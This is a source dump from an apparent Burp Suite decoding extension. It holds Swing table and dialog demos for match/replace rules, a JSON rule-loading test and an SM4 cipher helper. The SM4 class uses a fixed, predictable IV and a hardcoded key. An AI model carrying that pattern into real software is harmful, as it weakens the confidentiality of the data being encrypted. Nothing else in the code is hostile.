创建文件选择对话框 24 | fileChooser = new JFileChooser(); 25 | 26 | // 添加按钮点击事件监听器 27 | saveButton.addActionListener(new ActionListener() { 28 | @Override 29 | public void actionPerformed(ActionEvent e) { 30 | // 设置文件选择对话框尺寸 31 | fileChooser.setPreferredSize(new Dimension(1000, 600)); 32 | 33 | // 显示文件选择对话框 34 | int result = fileChooser.showSaveDialog(FileSavingGUI.this); 35 | 36 | // 判断是否选择了文件 37 | if (result == JFileChooser.APPROVE_OPTION) { 38 | // 获取选择的文件 39 | File selectedFile = fileChooser.getSelectedFile(); 40 | 41 | // 写入文件内容 42 | try (BufferedWriter writer = new BufferedWriter(new FileWriter(selectedFile))) { 43 | writer.write("这是要保存的文件内容"); 44 | writer.flush(); 45 | } catch (IOException ex) { 46 | ex.printStackTrace(); 47 | } 48 | } 49 | } 50 | }); 51 | 52 | // 设置布局管理器 53 | setLayout(new FlowLayout()); 54 | 55 | // 添加保存按钮到窗口 56 | add(saveButton); 57 | 58 | // 设置窗口大小和关闭操作 59 | setSize(300, 200); 60 | setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 61 | 62 | // 显示窗口 63 | setVisible(true); 64 | } 65 | 66 | public static void main(String[] args) { 67 | // 创建并显示GUI界面 68 | SwingUtilities.invokeLater(new Runnable() { 69 | @Override 70 | public void run() { 71 | new FileSavingGUI(); 72 | } 73 | }); 74 | } 75 | } -------------------------------------------------------------------------------- /src/burp/ui/HackvertorInput.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import burp.BurpExtender; 4 | import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; 5 | 6 | import javax.swing.*; 7 | import java.awt.*; 8 | 9 | /** 10 | * @DESCRIPTION: 11 | * @USER: f0ng 12 | * @DATE: 2023/5/21 下午1:52 13 | */ 14 | public class HackvertorInput extends RSyntaxTextArea { 15 | public HackvertorInput() { 16 | super(); 17 | BurpExtender.callbacks.customizeUiComponent(this); 18 | this.updateFont(); 19 | } 20 | public void updateUI() { 21 | super.updateUI(); 22 | // BurpExtender.stdout.println(BurpExtender.DARK_THEMES); 23 | // BurpExtender.stdout.println(UIManager.getLookAndFeel().getID()); 24 | BurpExtender.isDarkTheme = UIManager.getLookAndFeel().getID().contains("Dark"); 25 | SwingUtilities.invokeLater(() -> { 26 | if(BurpExtender.isDarkTheme) { 27 | Utils.Utils.applyThemeToRSyntaxTextArea(this, "dark"); 28 | } else { 29 | Utils.Utils.applyThemeToRSyntaxTextArea(this, "default"); 30 | } 31 | }); 32 | BurpExtender.callbacks.customizeUiComponent(this); 33 | this.updateFont(); 34 | } 35 | public void updateFont() { 36 | this.setFont(new Font("Courier New", Font.PLAIN, this.getFont().getSize())); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/burp/ui/JPanelSizeExample.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | 6 | public class JPanelSizeExample { 7 | public static void main(String[] args) { 8 | SwingUtilities.invokeLater(() -> { 9 | JFrame frame = new JFrame("JPanel Size Example"); 10 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 11 | 12 | JPanel panel = new JPanel(); 13 | panel.setPreferredSize(new Dimension(300, 200)); // 设置首选大小 14 | 15 | // 添加到 JFrame 16 | frame.add(panel); 17 | 18 | frame.pack(); // 根据首选大小自动调整 JFrame 的大小 19 | 20 | frame.setVisible(true); 21 | }); 22 | } 23 | } -------------------------------------------------------------------------------- /src/burp/ui/JTableExample.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.swing.*; 4 | import javax.swing.table.DefaultTableModel; 5 | import java.awt.*; 6 | import java.awt.event.ActionEvent; 7 | import java.awt.event.ActionListener; 8 | import java.io.BufferedReader; 9 | import java.io.File; 10 | import java.io.FileReader; 11 | import java.io.IOException; 12 | 13 | /** 14 | * Item 可选 Request header、Request body、Response header、Response body 15 | * 16 | * Type 可选 Regex、Literal(非正则) 17 | * 18 | */ 19 | public class JTableExample { 20 | // public static JTable table; 21 | public static JFrame frame; 22 | // public static DefaultTableModel tableModel; 23 | 24 | public static void main(String[] args) { 25 | SwingUtilities.invokeLater(() -> { 26 | frame = new JFrame("Table Example"); 27 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 28 | 29 | // 列名 30 | String[] columnNames = {"Enabled","Host" ,"Item", "Match", "Replace", "Type", "Comment"}; 31 | 32 | // 表格数据 33 | Object[][] data = { 34 | {true,"127.0.0.1", "Item 1" ,"Match 1", "Replace 1", "Type 1", "Comment 1"}, 35 | {false,"127.0.0.1", "Item 2", "Match 2", "Replace 2", "Type 2", "Comment 2"}, 36 | {true,"127.0.0.1", "Item 3", "Match 3", "Replace 3", "Type 3", "Comment 3"} 37 | }; 38 | 39 | // 创建默认的表格模型 40 | DefaultTableModel tableModel = new DefaultTableModel(data, columnNames); 41 | // 创建表格 42 | JTable table = createTable(tableModel); 43 | 44 | // 创建按钮面板 45 | JPanel buttonPanel = createButtonPanel(tableModel,table); 46 | 47 | // 创建主面板 48 | JPanel mainPanel = new JPanel(new BorderLayout()); 49 | mainPanel.add(buttonPanel, BorderLayout.WEST); 50 | mainPanel.add(new JScrollPane(table), BorderLayout.CENTER); 51 | 52 | // 将主面板添加到 JFrame 53 | frame.add(mainPanel); 54 | frame.pack(); 55 | frame.setVisible(true); 56 | }); 57 | } 58 | 59 | // 创建表格 60 | public static JTable createTable(DefaultTableModel tableModel) { 61 | 62 | 63 | // 创建 JTable 64 | JTable table = new JTable(tableModel); 65 | 66 | // 设置 Enabled 列的渲染器和编辑器 67 | table.getColumnModel().getColumn(0).setCellRenderer(table.getDefaultRenderer(Boolean.class)); 68 | table.getColumnModel().getColumn(0).setCellEditor(table.getDefaultEditor(Boolean.class)); 69 | 70 | return table; 71 | } 72 | 73 | // 创建按钮面板 74 | public static JPanel createButtonPanel(DefaultTableModel tableModel,JTable table) { 75 | JPanel buttonPanel = new JPanel(); 76 | buttonPanel.setLayout(new BoxLayout(buttonPanel, BoxLayout.Y_AXIS)); 77 | 78 | // 创建 Add 按钮 79 | JButton addButton = new JButton("Add"); 80 | addButton.addActionListener(new ActionListener() { 81 | @Override 82 | public void actionPerformed(ActionEvent e) { 83 | addRow(null,tableModel); 84 | } 85 | }); 86 | buttonPanel.add(addButton); 87 | 88 | // 创建 Edit 按钮 89 | JButton editButton = new JButton("Edit"); 90 | editButton.addActionListener(new ActionListener() { 91 | @Override 92 | public void actionPerformed(ActionEvent e) { 93 | editRow(table, null,tableModel); 94 | } 95 | }); 96 | buttonPanel.add(editButton); 97 | 98 | // 创建 Remove 按钮 99 | JButton removeButton = new JButton("Remove"); 100 | removeButton.addActionListener(new ActionListener() { 101 | @Override 102 | public void actionPerformed(ActionEvent e) { 103 | removeSelectedRows(table,tableModel); 104 | } 105 | }); 106 | buttonPanel.add(removeButton); 107 | 108 | 109 | JButton loadButton = new JButton("Load"); 110 | loadButton.addActionListener(new ActionListener() { 111 | @Override 112 | public void actionPerformed(ActionEvent e) { 113 | // 创建文件选择对话框 114 | JFileChooser fileChooser = new JFileChooser(); 115 | 116 | // 显示文件选择对话框 117 | int result = fileChooser.showOpenDialog(null); 118 | 119 | // 判断是否选择了文件 120 | if (result == JFileChooser.APPROVE_OPTION) { 121 | // 获取选择的文件 122 | File selectedFile = fileChooser.getSelectedFile(); 123 | 124 | // 读取文件内容并打印 125 | try (BufferedReader reader = new BufferedReader(new FileReader(selectedFile))) { 126 | String line; 127 | while ((line = reader.readLine()) != null) { 128 | System.out.println(line); 129 | } 130 | } catch (IOException ex) { 131 | ex.printStackTrace(); 132 | } 133 | } 134 | 135 | } 136 | }); 137 | buttonPanel.add(loadButton); 138 | 139 | return buttonPanel; 140 | } 141 | 142 | 143 | // 添加行 144 | private static void addRow(JFrame parentFrame,DefaultTableModel tableModel) { 145 | JComboBox JComboBoxitem = new JComboBox(); // 请求、响应部分选择 146 | DefaultComboBoxModel defaultComboBoxModelitem = new DefaultComboBoxModel(); 147 | defaultComboBoxModelitem.addElement("Request header"); 148 | defaultComboBoxModelitem.addElement("Request body"); 149 | defaultComboBoxModelitem.addElement("Response header"); 150 | defaultComboBoxModelitem.addElement("Response body"); 151 | JComboBoxitem.setModel(defaultComboBoxModelitem); 152 | 153 | JComboBox JComboBoxtype = new JComboBox(); // 请求、响应部分选择 154 | DefaultComboBoxModel defaultComboBoxModeltype = new DefaultComboBoxModel(); 155 | defaultComboBoxModeltype.addElement("Literal"); 156 | defaultComboBoxModeltype.addElement("Regex"); 157 | defaultComboBoxModeltype.addElement("Extract"); 158 | JComboBoxtype.setModel(defaultComboBoxModeltype); 159 | 160 | // JTextField itemField = new JTextField(); 161 | JTextField hostField = new JTextField(30); 162 | JTextField matchField = new JTextField(30); 163 | JTextField replaceField = new JTextField(30); 164 | // JTextField typeField = new JTextField(); 165 | JTextField commentField = new JTextField(30); 166 | 167 | 168 | JPanel panel = new JPanel(new GridLayout(6, 2)); 169 | JPanel panel1 = new JPanel(new BorderLayout()); 170 | panel.add(new JLabel("Host:")); 171 | panel.add(hostField); 172 | panel1.add(new JLabel("Item:"), BorderLayout.CENTER); 173 | panel.add(panel1); 174 | panel.add(JComboBoxitem); 175 | 176 | 177 | panel.add(new JLabel("Match:")); 178 | panel.add(matchField); 179 | 180 | panel.add(new JLabel("Replace:")); 181 | panel.add(replaceField); 182 | 183 | panel.add(new JLabel("Type:")); 184 | panel.add(JComboBoxtype); 185 | 186 | panel.add(new JLabel("Comment:")); 187 | panel.add(commentField); 188 | 189 | int result = JOptionPane.showConfirmDialog(parentFrame, panel, "Add Row", 190 | JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); 191 | 192 | if (result == JOptionPane.OK_OPTION) { 193 | String host = hostField.getText().toString(); 194 | String item = JComboBoxitem.getSelectedItem().toString(); 195 | String match = matchField.getText(); 196 | String replace =replaceField.getText(); 197 | String type = JComboBoxtype.getSelectedItem().toString(); 198 | String comment =commentField.getText(); 199 | 200 | Object[] rowData = {false ,host ,item ,match ,replace ,type , comment }; 201 | tableModel.addRow(rowData); 202 | } 203 | } 204 | 205 | // 编辑行 206 | private static void editRow(JTable table, JFrame parentFrame,DefaultTableModel tableModel) { 207 | int selectedRow = table.getSelectedRow(); 208 | 209 | if (selectedRow != -1) { 210 | System.out.println(tableModel.getValueAt(selectedRow, 0)); 211 | // 从1下标开始,因为0的下标是checkBox类型,在编辑页面不需要读取 212 | String hostText = (String)tableModel.getValueAt(selectedRow, 1); 213 | String itemText = (String) tableModel.getValueAt(selectedRow, 2); 214 | String matchText = (String) tableModel.getValueAt(selectedRow, 3); 215 | String replaceText = (String) tableModel.getValueAt(selectedRow, 4); 216 | String typeText = (String) tableModel.getValueAt(selectedRow, 5); 217 | String commentText = (String) tableModel.getValueAt(selectedRow, 6); 218 | 219 | JComboBox JComboBoxitem = new JComboBox(); // 请求、响应部分选择 220 | DefaultComboBoxModel defaultComboBoxModelitem = new DefaultComboBoxModel(); 221 | defaultComboBoxModelitem.addElement("Request header"); 222 | defaultComboBoxModelitem.addElement("Request body"); 223 | defaultComboBoxModelitem.addElement("Response header"); 224 | defaultComboBoxModelitem.addElement("Response body"); 225 | JComboBoxitem.setModel(defaultComboBoxModelitem); 226 | 227 | JComboBox JComboBoxtype = new JComboBox(); // 请求、响应部分选择 228 | DefaultComboBoxModel defaultComboBoxModeltype = new DefaultComboBoxModel(); 229 | defaultComboBoxModeltype.addElement("Regex"); 230 | defaultComboBoxModeltype.addElement("Literal"); 231 | defaultComboBoxModeltype.addElement("Extract"); 232 | JComboBoxtype.setModel(defaultComboBoxModeltype); 233 | 234 | JTextField hostField = new JTextField(30); 235 | JTextField matchField = new JTextField(30); 236 | JTextField replaceField = new JTextField(30); 237 | // JTextField typeField = new JTextField(); 238 | JTextField commentField = new JTextField(30); 239 | 240 | JPanel panel = new JPanel(new GridLayout(6, 2)); 241 | panel.add(new JLabel("Host:")); 242 | panel.add(hostField); 243 | panel.add(new JLabel("Item:")); 244 | panel.add(JComboBoxitem); 245 | panel.add(new JLabel("Match:")); 246 | panel.add(matchField); 247 | panel.add(new JLabel("Replace:")); 248 | panel.add(replaceField); 249 | panel.add(new JLabel("Type:")); 250 | panel.add(JComboBoxtype); 251 | panel.add(new JLabel("Comment:")); 252 | panel.add(commentField); 253 | 254 | hostField.setText(hostText); 255 | JComboBoxitem.setSelectedItem(itemText); 256 | matchField.setText(matchText); 257 | replaceField.setText(replaceText); 258 | JComboBoxtype.setSelectedItem(typeText); 259 | commentField.setText(commentText); 260 | 261 | int result = JOptionPane.showConfirmDialog(parentFrame, panel, "Edit Row", 262 | JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); 263 | 264 | if (result == JOptionPane.OK_OPTION) { 265 | String hostFieldtext = hostField.getText().toString(); 266 | String itemFieldtext = JComboBoxitem.getSelectedItem().toString(); 267 | String matchFieldtext = matchField.getText(); 268 | String replaceFieldtext = replaceField.getText(); 269 | String typeFieldtext = JComboBoxtype.getSelectedItem().toString(); 270 | String commentFieldtext = commentField.getText(); 271 | 272 | // 从1下标开始,因为0的下标是checkBox类型,在编辑页面不需要读取 273 | tableModel.setValueAt(hostFieldtext, selectedRow, 1); 274 | tableModel.setValueAt(itemFieldtext, selectedRow, 2); 275 | tableModel.setValueAt(matchFieldtext, selectedRow, 3); 276 | tableModel.setValueAt(replaceFieldtext, selectedRow, 4); 277 | tableModel.setValueAt(typeFieldtext, selectedRow, 5); 278 | tableModel.setValueAt(commentFieldtext, selectedRow, 6); 279 | } 280 | } else { 281 | JOptionPane.showMessageDialog(parentFrame, "Please select a row to edit.", 282 | "No Row Selected", JOptionPane.WARNING_MESSAGE); 283 | } 284 | } 285 | 286 | // 移除选中的行 287 | private static void removeSelectedRows(JTable table,DefaultTableModel tableModel) { 288 | int[] selectedRows = table.getSelectedRows(); 289 | if (selectedRows.length > 0) { 290 | int result = JOptionPane.showConfirmDialog(table, "Are you sure you want to remove the selected rows?", 291 | "Confirm Remove", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE); 292 | if (result == JOptionPane.YES_OPTION) { 293 | for (int i = selectedRows.length - 1; i >= 0; i--) { 294 | tableModel.removeRow(selectedRows[i]); 295 | } 296 | } 297 | } else { 298 | JOptionPane.showMessageDialog(table, "Please select at least one row to remove.", 299 | "No Rows Selected", JOptionPane.WARNING_MESSAGE); 300 | } 301 | } 302 | 303 | 304 | } -------------------------------------------------------------------------------- /src/burp/ui/JTableWithCustomTextColumnExample.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.swing.*; 4 | import javax.swing.table.DefaultTableModel; 5 | import javax.swing.table.TableCellEditor; 6 | import javax.swing.table.TableCellRenderer; 7 | import java.awt.*; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | 11 | public class JTableWithCustomTextColumnExample { 12 | private static DefaultTableModel tableModel; 13 | private static JTable table; 14 | 15 | public static void main(String[] args) { 16 | SwingUtilities.invokeLater(() -> { 17 | // 创建数据模型 18 | Object[][] data = { 19 | { false,"Option 1", ""}, 20 | { true, "Option 2",""}, 21 | { false, "Option 3",""} 22 | }; 23 | String[] columnNames = {"Option", "Selection", "Custom Text"}; 24 | 25 | // 创建 JTable 26 | tableModel = new DefaultTableModel(data, columnNames) { 27 | @Override 28 | public Class getColumnClass(int columnIndex) { 29 | if (columnIndex == 0) { 30 | return Boolean.class; 31 | } 32 | return super.getColumnClass(columnIndex); 33 | } 34 | 35 | @Override 36 | public boolean isCellEditable(int row, int column) { 37 | return column == 1 || column == 2; 38 | } 39 | }; 40 | 41 | JTable table = new JTable(tableModel); 42 | 43 | // 设置 Enabled 列的渲染器和编辑器 44 | table.getColumnModel().getColumn(0).setCellRenderer(table.getDefaultRenderer(Boolean.class)); 45 | table.getColumnModel().getColumn(0).setCellEditor(table.getDefaultEditor(Boolean.class)); 46 | 47 | // 创建 JFrame 并添加 JTable 48 | JFrame frame = new JFrame("JTable with Custom Text Column Example"); 49 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 50 | frame.setLayout(new BorderLayout()); 51 | 52 | JScrollPane scrollPane = new JScrollPane(table); 53 | frame.add(scrollPane, BorderLayout.CENTER); 54 | 55 | JPanel buttonPanel = new JPanel(); 56 | buttonPanel.setLayout(new BoxLayout(buttonPanel, BoxLayout.Y_AXIS)); 57 | 58 | JButton addButton = new JButton("Add"); 59 | addButton.addActionListener(new ActionListener() { 60 | @Override 61 | public void actionPerformed(ActionEvent e) { 62 | addRow(frame); 63 | } 64 | }); 65 | buttonPanel.add(addButton); 66 | 67 | JButton editButton = new JButton("Edit"); 68 | editButton.addActionListener(new ActionListener() { 69 | @Override 70 | public void actionPerformed(ActionEvent e) { 71 | editRow(table, frame); 72 | } 73 | }); 74 | buttonPanel.add(editButton); 75 | 76 | JButton removeButton = new JButton("Remove"); 77 | removeButton.addActionListener(new ActionListener() { 78 | @Override 79 | public void actionPerformed(ActionEvent e) { 80 | removeSelectedRows(table); 81 | } 82 | }); 83 | buttonPanel.add(removeButton); 84 | 85 | frame.add(buttonPanel, BorderLayout.WEST); 86 | 87 | frame.pack(); 88 | frame.setVisible(true); 89 | }); 90 | } 91 | 92 | 93 | // 添加行 94 | private static void addRow(JFrame parentFrame) { 95 | JTextField optionField = new JTextField(); 96 | JCheckBox selectionCheckBox = new JCheckBox("Selected"); 97 | JTextField customTextField = new JTextField(); 98 | 99 | JPanel panel = new JPanel(new GridLayout(3, 2)); 100 | panel.add(new JLabel("Selection:")); 101 | panel.add(selectionCheckBox); 102 | panel.add(new JLabel("Option:")); 103 | panel.add(optionField); 104 | panel.add(new JLabel("Custom Text:")); 105 | panel.add(customTextField); 106 | 107 | int result = JOptionPane.showConfirmDialog(parentFrame, panel, "Add Row", 108 | JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); 109 | 110 | if (result == JOptionPane.OK_OPTION) { 111 | String option = optionField.getText(); 112 | boolean selection = selectionCheckBox.isSelected(); 113 | String customText =customTextField.getText(); 114 | 115 | Object[] rowData = {selection,option , customText}; 116 | tableModel.addRow(rowData); 117 | } 118 | } 119 | 120 | // 编辑行 121 | private static void editRow(JTable table, JFrame parentFrame) { 122 | int selectedRow = table.getSelectedRow(); 123 | if (selectedRow != -1) { 124 | boolean selection = (boolean) tableModel.getValueAt(selectedRow, 0); 125 | String option = (String) tableModel.getValueAt(selectedRow, 1); 126 | String customText = (String) tableModel.getValueAt(selectedRow, 2); 127 | 128 | JTextField optionField = new JTextField(option); 129 | JCheckBox selectionCheckBox = new JCheckBox("Selected", selection); 130 | JTextField customTextField = new JTextField(customText); 131 | 132 | JPanel panel = new JPanel(new GridLayout(3, 2)); 133 | panel.add(new JLabel("Selection:")); 134 | panel.add(selectionCheckBox); 135 | panel.add(new JLabel("Option:")); 136 | panel.add(optionField); 137 | panel.add(new JLabel("Custom Text:")); 138 | panel.add(customTextField); 139 | 140 | int result = JOptionPane.showConfirmDialog(parentFrame, panel, "Edit Row", 141 | JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); 142 | 143 | if (result == JOptionPane.OK_OPTION) { 144 | String editedOption = optionField.getText(); 145 | boolean editedSelection = selectionCheckBox.isSelected(); 146 | String editedCustomText = customTextField.getText(); 147 | 148 | tableModel.setValueAt(editedOption, selectedRow, 0); 149 | tableModel.setValueAt(editedSelection, selectedRow, 1); 150 | tableModel.setValueAt(editedCustomText, selectedRow, 2); 151 | } 152 | } else { 153 | JOptionPane.showMessageDialog(parentFrame, "Please select a row to edit.", 154 | "No Row Selected", JOptionPane.WARNING_MESSAGE); 155 | } 156 | } 157 | 158 | // 移除选中的行 159 | private static void removeSelectedRows(JTable table) { 160 | int[] selectedRows = table.getSelectedRows(); 161 | if (selectedRows.length > 0) { 162 | int result = JOptionPane.showConfirmDialog(table, "Are you sure you want to remove the selected rows?", 163 | "Confirm Remove", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE); 164 | if (result == JOptionPane.YES_OPTION) { 165 | for (int i = selectedRows.length - 1; i >= 0; i--) { 166 | tableModel.removeRow(selectedRows[i]); 167 | } 168 | } 169 | } else { 170 | JOptionPane.showMessageDialog(table, "Please select at least one row to remove.", 171 | "No Rows Selected", JOptionPane.WARNING_MESSAGE); 172 | } 173 | } 174 | } -------------------------------------------------------------------------------- /src/burp/ui/ObjectArrayInsertion.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | public class ObjectArrayInsertion { 4 | public static void main(String[] args) { 5 | // 创建一个Object[1][]数组对象 6 | Object[][] array = new Object[1][]; 7 | 8 | // 创建要插入的数据 9 | String enable = "true"; 10 | String item = "Request header"; 11 | String match = "Connection: .*"; 12 | String replace = "Connection:closssssssclosssssssclosssssssclosssssss"; 13 | String type = "Regex"; 14 | String comment = "Comment 1"; 15 | 16 | // 在指定位置插入数据 17 | int row = 0; 18 | int column = 0; 19 | array[row] = new Object[column + 1]; 20 | array[row][column] = new Object[]{enable, item, match, replace, type, comment}; 21 | 22 | // 打印插入后的数据 23 | Object[] insertedData = (Object[]) array[row][column]; 24 | System.out.println("Enable: " + insertedData[0]); 25 | System.out.println("Item: " + insertedData[1]); 26 | System.out.println("Match: " + insertedData[2]); 27 | System.out.println("Replace: " + insertedData[3]); 28 | System.out.println("Type: " + insertedData[4]); 29 | System.out.println("Comment: " + insertedData[5]); 30 | } 31 | } -------------------------------------------------------------------------------- /src/burp/ui/SM4.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.IvParameterSpec; 5 | import javax.crypto.spec.SecretKeySpec; 6 | import java.nio.file.Files; 7 | import java.nio.file.Paths; 8 | import java.nio.charset.StandardCharsets; 9 | import java.security.Security; 10 | 11 | import cn.hutool.core.codec.Base64; 12 | import org.bouncycastle.jce.provider.BouncyCastleProvider; 13 | 14 | public class SM4 { 15 | private static final String name="SM4"; //算法名字 16 | private static final String transformation="SM4/CBC/PKCS5Padding"; //加密模式以及短快填充方式 17 | private static final String Default_iv="0123456789abcdef"; //加密使用的初始向量 18 | 19 | /** 20 | * 加载指定文件,对其进行加密,并将加密结果写入指定输出文件中 21 | * @param inputFile 要加密的输入文件路径 22 | * @param outputFile 加密后的输出文件路径 23 | * @param key 加密所需的密钥 24 | * @throws Exception 如果文件读取、加密或写入时出现错误,则抛出异常 25 | */ 26 | private static void encodeFile(String inputFile, String outputFile, String key) throws Exception { 27 | // 读取输入文件中的所有字节 28 | byte [] inputBytes = Files.readAllBytes(Paths.get(inputFile)); 29 | // 对输入字节数组进行加密 30 | byte [] encodeByte = encode(inputBytes, key.getBytes(StandardCharsets.UTF_8)); 31 | // 将加密后的字节数组写入指定输出文件中 32 | Files.write(Paths.get(outputFile),encodeByte); 33 | System.out.println("File encoded successfully."); 34 | } 35 | /** 36 | * 使用指定的加密算法和密钥对给定的字节数组进行加密 37 | * @param inputByte 要加密的字节数组 38 | * @param key 加密所需的密钥 39 | * @return 加密后的字节数组 40 | * @throws Exception 如果加密时发生错误,则抛出异常 41 | */ 42 | public static byte [] encode(byte [] inputByte, byte [] key) throws Exception { 43 | // 获取加密实例 44 | Cipher c = Cipher.getInstance(transformation); 45 | // 根据密钥的字节数组创建 SecretKeySpec 46 | SecretKeySpec secretKeySpec = new SecretKeySpec(key, name); 47 | // 创建 IvParameterSpec 对象,使用默认向量和字符集 48 | IvParameterSpec ivParameterSpec = new IvParameterSpec(Default_iv.getBytes(StandardCharsets.UTF_8)); 49 | // 初始化加密实例 50 | c.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec); 51 | // 返回加密后的字节数组 52 | return c.doFinal(inputByte); 53 | } 54 | 55 | public static void decodeFile(String inputFilePath, String outputFilePath, String key) throws Exception { 56 | byte[] inputBytes = Files.readAllBytes(Paths.get(inputFilePath)); 57 | byte[] decodeBytes = decode(inputBytes, key.getBytes(StandardCharsets.UTF_8)); 58 | Files.write(Paths.get(outputFilePath), decodeBytes); 59 | System.out.println("File decode successfully."); 60 | } 61 | 62 | 63 | 64 | private static byte[] decode(byte[] inputBytes, byte[] key) throws Exception { 65 | Cipher cipher = Cipher.getInstance(transformation); 66 | SecretKeySpec secretKeySpec = new SecretKeySpec(key, name); 67 | IvParameterSpec ivParameterSpec = new IvParameterSpec(Default_iv.getBytes(StandardCharsets.UTF_8)); 68 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); 69 | return cipher.doFinal(inputBytes); 70 | } 71 | 72 | public static void main(String[] args) throws Exception { 73 | // Security.addProvider(new BouncyCastleProvider()); 74 | System.out.println(Base64.encode(encode("ct".getBytes(), Base64.decode("8SvjKWLXHvGxZg4g/5Gztg==")))); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/burp/ui/test.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import burp.BurpExtender; 4 | import com.alibaba.fastjson.JSON; 5 | import com.alibaba.fastjson.JSONArray; 6 | import com.alibaba.fastjson.JSONObject; 7 | 8 | import java.io.File; 9 | import java.util.Arrays; 10 | import java.util.List; 11 | 12 | import static burp.util.autoDecoderutil.FileGetValue; 13 | 14 | /** 15 | * @DESCRIPTION: 16 | * @USER: f0ng 17 | * @DATE: 2023/6/26 下午6:34 18 | */ 19 | public class test { 20 | public static void main(String[] args) { 21 | // File f = new File("/Users/f0ng/BURP/BurpUnlimited/autoDecoder/target/autoDecoder.properties"); 22 | // String encodemethod = FileGetValue(f,"encodemethod").trim();; // encodemethod 23 | // System.out.println(encodemethod.trim()); 24 | // System.out.println("2"); 25 | // System.out.println(encodemethod.trim().equals("2")); 26 | // 读取reqp数组 27 | 28 | String jsonStr = FileGetValue(new File( "autoDecoder.properties" ),"reqp"); 29 | System.out.println(jsonStr); 30 | JSONObject json = JSON.parseObject(jsonStr); 31 | JSONArray reqpArray = json.getJSONArray("reqp"); 32 | 33 | Object[][] data11199 = new Object[reqpArray.size()][]; 34 | // 遍历reqp数组中的每个对象 35 | for (int i = 0; i < reqpArray.size(); i++) { 36 | JSONObject reqpObj = reqpArray.getJSONObject(i); 37 | 38 | // 读取每个对象的属性值 39 | String Enable = reqpObj.getString("Enable"); 40 | String item = reqpObj.getString("Item"); 41 | String match = reqpObj.getString("Match"); 42 | String replace = reqpObj.getString("Replace"); 43 | String type = reqpObj.getString("Type"); 44 | String comment = reqpObj.getString("Comment"); 45 | 46 | data11199[i] = new Object[]{Enable,item,match,replace,type,comment}; 47 | // 打印读取到的属性值 48 | System.out.println("Enable: " + Enable); 49 | System.out.println("Item: " + item); 50 | System.out.println("Replace: " + replace); 51 | System.out.println("Comment: " + comment); 52 | System.out.println("Type: " + type); 53 | System.out.println("Match: " + match); 54 | } 55 | System.out.println(Arrays.deepToString(data11199)); 56 | 57 | Object[][] data1119 = { 58 | {true, "Response body", "Connection: .*", "Replace 22222", "Regex", "Comment 2"}, 59 | {true, "Response body", "

30(.*)ound", "nginx", "Extract", "Comment 444444"} 60 | }; 61 | data1119[0] = new Object[] {"aaaa"}; 62 | System.out.println(Arrays.deepToString(data1119)); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/burp/util/BurpCallbacks.java: -------------------------------------------------------------------------------- 1 | ///* 2 | // * Copyright (C) 2013 DobinRutishauser@broken.ch 3 | // * 4 | // * This program is free software: you can redistribute it and/or modify 5 | // * it under the terms of the GNU General Public License as published by 6 | // * the Free Software Foundation, either version 3 of the License, or 7 | // * (at your option) any later version. 8 | // * 9 | // * This program is distributed in the hope that it will be useful, 10 | // * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // * GNU General Public License for more details. 13 | // * 14 | // * You should have received a copy of the GNU General Public License 15 | // * along with this program. If not, see . 16 | // */ 17 | //package burp.util; 18 | // 19 | //import burp.IBurpExtenderCallbacks; 20 | //import burp.IHttpRequestResponse; 21 | //import burp.IHttpService; 22 | //import burp.IRequestInfo; 23 | //import burp.IResponseInfo; 24 | ////import burp.model.SentinelHttpMessage; 25 | ////import gui.viewMessage.ExternalUpdater; 26 | //import java.io.PrintWriter; 27 | //import java.net.MalformedURLException; 28 | //import java.net.URL; 29 | ////import model.SentinelHttpMessage; 30 | ////import model.SentinelHttpService; 31 | // 32 | ///** 33 | // * 34 | // * @author unreal 35 | // */ 36 | //public class BurpCallbacks { 37 | // 38 | // static private BurpCallbacks burpCallbacks = null; 39 | // private IBurpExtenderCallbacks callback; 40 | // private PrintWriter stdout; 41 | // 42 | // public void init(IBurpExtenderCallbacks callback) { 43 | // this.callback = callback; 44 | // stdout = new PrintWriter(callback.getStdout(), true); 45 | // } 46 | // 47 | // public IBurpExtenderCallbacks getBurp() { 48 | // return callback; 49 | // } 50 | // 51 | // public void print(String s) { 52 | // if (stdout != null) { 53 | // stdout.println(s); 54 | // } 55 | // } 56 | // 57 | // public static BurpCallbacks getInstance() { 58 | // if (burpCallbacks == null) { 59 | // burpCallbacks = new BurpCallbacks(); 60 | // } 61 | // return burpCallbacks; 62 | // } 63 | // 64 | // 65 | // 66 | // 67 | // 68 | // private boolean isRedirect(byte[] response) { 69 | // IResponseInfo responseInfo = BurpCallbacks.getInstance().getBurp().getHelpers().analyzeResponse(response); 70 | // if (responseInfo.getStatusCode() == 302) { 71 | // return true; 72 | // } else { 73 | // return false; 74 | // } 75 | // } 76 | // 77 | // 78 | // 79 | // private URL followRedirectUrl(String redirStr, IHttpRequestResponse message) { 